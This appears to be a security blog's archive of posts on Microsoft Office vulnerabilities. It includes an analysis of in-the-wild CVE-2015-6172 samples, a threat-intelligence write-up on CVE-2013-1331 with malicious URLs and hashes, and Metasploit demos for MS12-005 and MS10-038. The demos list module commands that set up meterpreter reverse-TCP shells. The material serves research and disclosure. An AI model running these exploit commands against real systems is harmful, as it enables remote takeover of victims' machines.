Tag Archives: Office

CVE-2015-6172 BadWinmail found exploited in the wild

Reverse Engineering, , , , , ,
Conclusion: It seem that AV vendors did a big mistake and blocked thousands of legit emails and by consequence also disclosed the content of certain of these emails on Internet, like DRP plan of banks…
All detected samples have now reduced they’re detection rate to only marginal anti-viruses. But clearly F-Secure and BitDefender were detecting and blocking thousands of emails during the last days. For the moment, we have no explanation from the anti-virus vendors.
I would like to thanks @_clem1, @Kafeine and @PhysicalDrive0 for they’re support in these clarifications.

 

On December 8th 2015, Microsoft released, during his regular Patch Tuesday, two updated security advisory, one new security advisory and twelve security bulletins. On the twelve security bulletins, MS15-131 concerned Microsoft Office and fixed 6 privately reported vulnerabilities.

One of the 6 vulnerabilities fixed in MS15-131, CVE-2015-6172 vulnerability raised particular attention of the security community. This vulnerability, named Outlook “letterbomb” or “BadWinMail“, would allow an attacker to sneak past Outlook’s security features. The vulnerability affects Office 2010 and later, as well as Microsoft Word 2007 with Service Pack 3.

This vulnerability has been discovered and privately reported to Microsoft by Haifei Li of Intel Security IPS Research Team. The security researcher published a paper describing the vulnerability accompanied by a demonstration video.

Unfortunately it seem that this vulnerability is actually exploited and was exploited before the release of Microsoft security patch.

Two files “FW Joseph J. Durczynski.rtf” (957a8d9d6bf7a0e54ad7eb350c930232) and “FW Philip Services Corp. et al..rtf” (20e184a415cd71eee1cea83df262f814) were submitted to VirusTotal the 27 December and detected as exploit of CVE-2015-6172.

“FW Philip Services Corp. et al..rtf” file seems to be related to PSC Industrial Services. PSC claim to be the leading provider of specialty maintenance services and technology solutions to the critical energy infrastructure in the United States.

“FW Joseph J. Durczynski.rtf” file seems to be related to Systech Environmental Corp and to particularly a certain Joe Durczynski working for Systech Environmental Corp.

By doing additional researches I found a third sample “_WRF_0CE7DC0E-AB99-4196-8DC2-F818ABF7C29A_.tmp” (52c4096e99126851736715c34b1f50a5) submitted on malwr the 23 December. This sample was also submitted on VirusTotal the 23 December and also recognised as exploit of CVE-2015-6172.

One additional file “FW RFQ.rtf” (fab9cfbc629fb3c3eb541fdaf8169ee1), reported to me by @PhysicalDrive0, targeting PGM Corp. PGM is a full service precision manufacturing corporation specialising in precision CNC machining, turning, grinding and assembly.

7328bf73af839bfc05e5cae177d60ca06cddc52beeee51fb2268f9a8b98d24fa

Interesting informations are the strings in the static analysis of the 23th December malwr sample.

Subject of the email was “FW: Disaster Recovery – home binder” and this email is an internal mail exchange of Safe Credit Union organisation. Also the mail containing the malware was sent the Tuesday, 8th September 2015.

It seem to be quiet urgent to patch if you didn’t already did it, but that seem to be more and more sure is that CVE-2015-6172 was used in the wild before the release of the Microsoft December patch.

Additional samples are actually submitted:

MS13-051 / CVE-2013-1331 What We Know About Microsoft Office Zero Day

Reverse Engineering, , , , ,

MS13-051 Microsoft Office bulletin was release Tuesday 11th 2013 during the traditional Patch Tuesday. This bulletin fix one vulnerability,  CVE-2013-1331, with a base CVSS score of 9.3 and targeting Microsoft Office 2003 and Office for Mac (2011). This vulnerability allow  remote code execution and was reported by Andrew Lyons and Neel Mehta of Google Inc.

Microsoft has also release additional information’s and it appears that some “bad guys” were using this vulnerability as a zero-day in targeted attacks. The vulnerability is related on how Microsoft Office render malformed PNG files leading to a classic stack based buffer overflow.

Malicious Office documents were referencing a malicious PNG file loaded from Internet and hosted on a remote servers. Remote servers were using scripts in order to avoid multiple times exploitation from the same source. Microsoft believe that attacks were limited to Indonesia and Malaysia.

Microsoft provided some examples of URLs invoked by the malicious Office document, and some hashes of the malicious Office binary format documents.

  • hXXp://intent.nofrillspace.com/users/web11_focus/4307/space.gif
  • hXXp://intent.nofrillspace.com/users/web11_focus/3807/space.gif
  • hXXp://mister.nofrillspace.com/users/web8_dice/3791/space.gif
  • hXXp://mister.nofrillspace.com/users/web8_dice/4226/space.gif
  • hXXp://www.bridginglinks.com/somebody/4698/space.gif
  • hXXp://www.police28122011.0fees.net/pages/013/space.gif
  • hXXp://zhongguoren.hostoi.com/news/space.gif
Information Gathering on “intent.nofrillspace.com“

By doing some researches we can find a Google cached Excel document mentioning this domain name the 2011-12-29. Domain name is mentioned as a gateway for malicious activities. Actually the web site is down, but associated IP was 80.93.50.73, hosted in the Russian Federation.

“No Frill Space” is a hosting company offering free web spaces. The company web site was still up, regarding WayBack Machine, the May 28th 2013. No additional information’s are available.

intent.nofrillspace.com-document

Information Gathering on “mister.nofrillspace.com“

By doing some researches we can find a Google cached web page as it appeared on 27 May 2013. Since, like the previous domain, the web site is no more available. No additional information’s are available.

mister-nofrillspace-com-webpage

Information Gathering on “www.bridginglinks.com“

Like “No Frill Space“, “BRIDGING LINKS” is a hosting company offering free web spaces. The company web site was still up, regarding WayBack Machine, the May 21th 2013. “www.bridginglinks.com” was hosted on 85.17.143.51 located in Netherlands.

If we take a look on urlQuery, we can see a submission dating of April 4th 2013, mentioning an interesting URL “hXXp://www.bridginglinks.com/somebody/4698/vw.php“. As you can see the path is the same as the path mentioned by Microsoft. “vw.php” could be one of the file used to avoid multiple times exploitation.

Joe Sandbox is also referencing Report 1482, no more available, that refer a URL “hXXp://www.bridginglinks.com/somebody/4688/vw.php?i=b95146-8a76c6cb7d84148d95ab5a4921b3839c” and a name of a Word document “virus_suspected.doc“. Associated MD5 of the document is “714876fdce62371da08c139377f23d76“, was submitted March 3th 2013, with a file size of 113.0 KB.

my-sample

With the MD5 we can found a VirusTotal sample. Creation date of this document was February 25th 2013. Title of the document is “VN h?c gì t? v? Philippines ki?n TQ” that seem to be Vietnamese and could be translated to “VN learn from China’s conditions for Philippines“.

Document title seem to be related to the events of beginning of this year between China and Philippines regarding territory conflicts.

Here under a screenshot of the sample

CVE-2013-1331-sample

@mwtracker also submitted a sample on Cryptam June 13th 2013.

Update of June 16th 2013

After doing some further investigations we noticed another Word sample (f85eaad502e51eafeae0430e56899d9b) submitted to VirusTotal October 28th 2009 and that has a creation date of October 26th 2009. A re-submission of this sample clearly detect CVE-2013-1331 !

By analyzing this sample title of the document is “The corruption of Mahathir” from autor “585“. “The corruption of Mahathir” document is a reference to Mahathir Mohamad a Malaysian politician who was the fourth Prime Minister of Malaysia, and the document is an adaptation of a Bangkok Post article to remind people how the country has been damaged by Dr M, UMNO and his cronies.

The-corruption-of-Mahathir

Like the previous sample, this sample is referencing “www.bridginglinks.com” and has exactly the same patterns.

space-gif-2

Update of June 17th 2013

Microsoft has reference some hashes of the malicious Office documents. Here under more detailled information’s on these documents. All these malicious documents are actually only detected by Avast and Symantec.

35a6bbc6dda6a1b3a1679f166be11154 Office document

Document theme is related to telecommunications and has “Telco – XX??2013??????????” as title, that could be translated to “Telco – XX company in 2013 described the core network building program“. The document was created Wednesday March 6th 2013 and last saved by “abc“. The document initiate connexions to “hXXp://zhongguoren.hostoi.com/news/space.gif“.

zhongguoren-office-doc

zhongguoren-link

fde37e60cc4be73dada0fb1ad3d5f273 Office document

Document theme is related to Susilo Bambang Yudhoyono an Indonesian politician and retired Army general officer who has been President of Indonesia since 2004. Document title is “Macam-macam critis terhadap SBY dan gerakan kabinet di situs Gerakan Anti SBY II” that could be translated to “Various critis against SBY cabinet and movement at the site of the anti SBY II“. The document was created Monday October 31th 2011 and last saved by “xmuser“. The document initiate connexions to “hXXp://mister.nofrillspace.com/users/web8_dice/4226/space.gif“.

mister-office-doc

mister-link

2f1ab543b38a7ad61d5dbd72eb0524c4 Office document

Document theme is related to Chinese zodiac previsions for 2011, and document title is “Forecast for 2011“. The document was created Monday February 7th 2011 and last saved by “xmuser“. The document initiate connexions to “hXXp://intent.nofrillspace.com/users/web11_focus/3807/space.gif“.

intent-office-doc

intent-link

28e81ca00146165385c8916bf0a61046 Office document

Document theme is Malaysian Telco. The document was created by “PDRM” and last saved by “abc“, also creation date of the document is Sunday October 14th 2012. The document initiate connexions to “hXXp://www.police28122011.0fees.net/pages/013/space.gif“.

police28122011-office-doc

police28122011-link

7eb17991ed13960d57ed75c01f6f7fd5 Office document

Document theme is Indoleaks, an Indonesian equivalent of Wikileak, and document title is “Indoleaks, ‘Wikileaksnya’ Indonesia“. The document was created by “3565“, last saved by “xmuser” and created Sunday January 23th 2011. The document initiate connexions to “hXXp://mister.nofrillspace.com/users/web8_dice/3791/space.gif“.

mister-office-doc2

mister-link2

70511e6e75aa38a4d92cd134caba16ef Office document

Document theme is surveillance devices with document title “Top 11 Aerial Surveillance Devices“. The document was last saved by “xmuser” and created Tuesday January 3th 2012. The document initiate connexions to “hXXp://intent.nofrillspace.com/users/web11_focus/4307/space.gif”

intent-office-doc2

intent-link2

Conclusions

Here under a recap table of all behaviors

MD5AuthorLast Saved ByCreation DateLast Saved DateDomainParams
714876fdce62371da08c139377f23d76SYSTEMSYSTEM2013-02-242013-02-24www.bridginglinks.com95146-555210c567278074917c1d11f25a6221
f85eaad502e51eafeae0430e56899d9b585-2009-11-262009-11-26www.bridginglinks.com41977-9c477a3c3bf9724fbd985772f6c50ef0
35a6bbc6dda6a1b3a1679f166be11154Userabc2013-03-062013-03-06zhongguoren.hostoi.com2064-ccca749e1a0e6806503c83048bb643d3
fde37e60cc4be73dada0fb1ad3d5f273-xmuser2011-10-312011-10-31mister.nofrillspace.com81425-3b068ea3d53786a94aaa715c7692a0a1
2f1ab543b38a7ad61d5dbd72eb0524c4-xmuser2011-02-072011-02-07intent.nofrillspace.com67575-80f27a85a4383ea2f92e8ba46c728ba3
28e81ca00146165385c8916bf0a61046PDRMabc2012-10-142012-10-14www.police28122011.0fees.net013-8354f8a7f3c21f58d7dbfa2a943c88b8
7eb17991ed13960d57ed75c01f6f7fd53565xmuser2011-01-232011-01-23mister.nofrillspace.com66995-83fcb7c8e552c81da5611e93a856a399
70511e6e75aa38a4d92cd134caba16ef-xmuser2012-01-032012-01-03intent.nofrillspace.com84435-81782ff9e4e204717db82d2e43a76f2d

My personal opinion is that:

  • I can clearly confirm that the zero-day was exploited in the wild since minimum February 2013 October 2009
  • the campaign was active since a while and has surely target other victims than previously thought.

I will keep you in touch with additional information’s.

MS12-005 Microsoft Office ClickOnce Vulnerability Metasploit Demo

Exploits, Metasploit,

Timeline :

Vulnerability discovered by Yorick Koster in Jun 2010
Coordinated public release of the vulnerability the 2012-01-10
Metasploit PoC provided the 2012-06-10

PoC provided by :

Yorick Koster
sinn3r

Reference(s) :

MS12-005
CVE-2012-0013
OSVDB-78207
BID-51284

Affected version(s) :

Windows XP SP3
Windows XP Professional x64 SP2
Windows Server 2003 SP2
Windows Server 2003 x64 SP2
Windows Vista SP2
Windows Vista x64 SP2
Windows Server 2008 32 SP2
Windows Server 2008 x64 Service Pack 2
Windows 7 32
Windows 7 32 SP1
Windows 7 x64
Windows 7 x64 SP1
Windows Server 2008 R2 x64
Windows Server 2008 R2 x64 SP1

Tested on Windows XP Pro SP3 with :

Microsoft Office Word 2007 (12.0.4518.1014)

Description :

The target will need an installation of Ruby or Python in order to execute the payload. Also macro execution in Word should be allowed.

This module exploits a vulnerability found in Microsoft Office’s ClickOnce feature. When handling a Macro document, the application fails to recognize certain file extensions as dangerous executables, which can be used to bypass the warning message. This allows you to trick your victim into opening the malicious document, which will load up either a python or ruby payload based on your choosing, and then finally download and execute our executable.

Commands :

use exploit/windows/fileformat/ms12_005
set SRVHOST 192.168.178.100
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.100
exploit

getuid
sysinfo

MS10-038 Office Excel 2002 Overflow Exploit Metasploit Demo

Exploits, Metasploit, ,

Timeline :

Vulnerability discovered and reported to vendor by Nicolas Joly
Coordinated release of the vulnerability the 2010-06-08
First exploit provided by abysssec the 2010-09-24
Metasploit PoC provided the 2011-11-21

PoC provided by :

Nicolas Joly
Shahin Ramezany
juan vazquez

Reference(s) :

CVE-2010-0822
OSVDB-65236
MS10-038
MOAUB #24
EBD-ID-15094

Affected version(s) :

Microsoft Office Excel 2002 Service Pack 3 and below
Microsoft Office Excel 2003 Service Pack 3 and below
Microsoft Office Excel 2007 Service Pack 1 and below
Microsoft Office Excel 2007 Service Pack 2
Microsoft Office 2004 for Mac
Microsoft Office 2008 for Mac
Open XML File Format Converter for Mac
Microsoft Office Excel Viewer Service Pack 1 and below
Microsoft Office Excel Viewer Service Pack 2
Microsoft Office Compatibility Pack for Word, Excel
PowerPoint 2007 File Formats Service Pack 1
Microsoft Office Compatibility Pack for Word, Excel
PowerPoint 2007 File Formats Service Pack 2

Tested on Windows XP Pro SP3 with :

Microsoft Excel 2002 (10.2614.2625) SP0

Description :

This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP. By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker can get the control of the execution flow. This results arbitrary code execution under the context of the user.

Commands :

use exploit/windows/fileformat/ms10_038_excel_obj_bof
set TARGET 0
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

getuid
sysinfo